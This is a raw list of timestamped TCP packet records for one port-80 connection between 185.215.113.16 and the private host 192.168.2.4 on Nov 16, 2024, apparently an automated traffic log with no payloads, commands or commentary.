Nov 16, 2024 20:12:33.505897045 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.505897045 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.505934954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.505970001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.505976915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.506005049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.506047010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.506057024 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.506654024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.506707907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.506709099 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.506743908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.506777048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.506791115 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.506814003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.506870985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.507468939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.556745052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.627787113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.627824068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.627877951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.627877951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.627912998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.627949953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.627965927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.628005981 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.628038883 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.628051996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.628077030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.628110886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.628119946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.628776073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.628829002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.628829002 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.666155100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.666254997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.666290998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.666327000 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.666367054 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.712883949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.749681950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.749779940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.749819040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.749847889 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.749855995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.749891996 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.749901056 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.749928951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.749968052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.749977112 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.750250101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.750298023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.750391006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.750493050 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.750545025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.750600100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.750653982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.750688076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.750703096 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.791039944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.791392088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.791438103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.791474104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.791491985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.833471060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.833503008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.833565950 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.871263027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871345997 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871388912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871422052 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871440887 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871450901 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.871474028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871485949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.871562958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871576071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.871850014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871885061 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871906042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.871918917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.871969938 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.872220993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.872255087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.872291088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.872303963 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.872324944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.872369051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.913672924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.913728952 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.913826942 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.913837910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.955349922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.955380917 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.955404997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.992650986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.992681980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.992727995 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.992779970 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.992811918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.992821932 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.992846012 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.992882967 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.993012905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993063927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993107080 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.993213892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993292093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993324995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993345976 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.993623972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993685961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993690014 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.993740082 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993774891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993788004 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:33.993809938 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:33.993850946 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.035326004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.035336971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.035347939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.035412073 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.076956987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.076987028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.077050924 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.115021944 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115098953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115133047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115165949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115191936 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.115200043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115222931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.115233898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115282059 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.115334034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115433931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115467072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115495920 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.115500927 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115534067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115550041 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.115569115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.115617037 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.145687103 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.145735025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.145879030 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.157243967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.157322884 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.157357931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.157386065 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.197253942 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.198662043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.198755980 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.198807001 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.236159086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.236227036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.236280918 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.236289978 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.236316919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.236351967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.236360073 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.236388922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.236443996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.236810923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.236857891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.236911058 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.236970901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.237004995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.237039089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.237056971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.237289906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.237340927 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.237344027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.237397909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.237432957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.237448931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.237468958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.237519979 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.267229080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.267261028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.267332077 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.278960943 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.278990030 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.279042006 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.279051065 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.279071093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.279124975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.321993113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.322021008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.322130919 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.359178066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359205008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359225035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359246016 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359277010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359303951 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.359354973 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.359529972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359563112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359584093 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.359596968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359630108 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359646082 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.359965086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.359997988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.360019922 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.360030890 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.360063076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.360085964 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.360400915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.360433102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.360456944 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.360466003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.360516071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.388991117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.389056921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.389105082 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.400590897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.400700092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.400753021 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.446327925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.446362019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.446378946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.446496010 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.482820034 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.482850075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.482876062 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.482916117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.482949018 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.482969999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.482984066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.483016014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.483030081 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.483520985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.483567953 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.483571053 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.483604908 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.483637094 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.483647108 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.483671904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.483706951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.483717918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.484199047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.484231949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.484246969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.484265089 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.484297037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.484306097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.523617983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.523669958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.523690939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.523708105 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.523753881 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.571487904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.571507931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.571552992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.571558952 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.604975939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605071068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605093956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.605108976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605145931 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605154037 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.605180979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605227947 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.605227947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605284929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605320930 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605324030 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.605356932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605396986 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.605473995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605525017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605557919 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605564117 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.605834961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605875969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.605892897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605926991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605961084 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.605969906 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.605995893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.606039047 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.645343065 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.645392895 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.645430088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.645518064 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.689887047 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.689973116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.690001965 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.690007925 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.690059900 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.726524115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.726617098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.726675987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.726701021 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.726711988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.726747036 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.726768970 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.726783037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.726829052 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.726933002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727107048 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727135897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727164984 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.727169991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727219105 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.727309942 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727365971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727399111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727421999 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.727602959 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727646112 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.727653027 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727705002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727739096 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727760077 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.727771044 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727804899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.727817059 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.728450060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.728478909 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.728507996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.767066956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.767110109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.767134905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.767168999 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.767199039 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.767221928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.813642025 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.813689947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.813730955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.813740969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.813787937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 16, 2024 20:12:34.849205971 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.849221945 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.849234104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.849268913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.849280119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 16, 2024 20:12:34.849292040 CET	80	49744	185.215.113.16	192.168.2.4
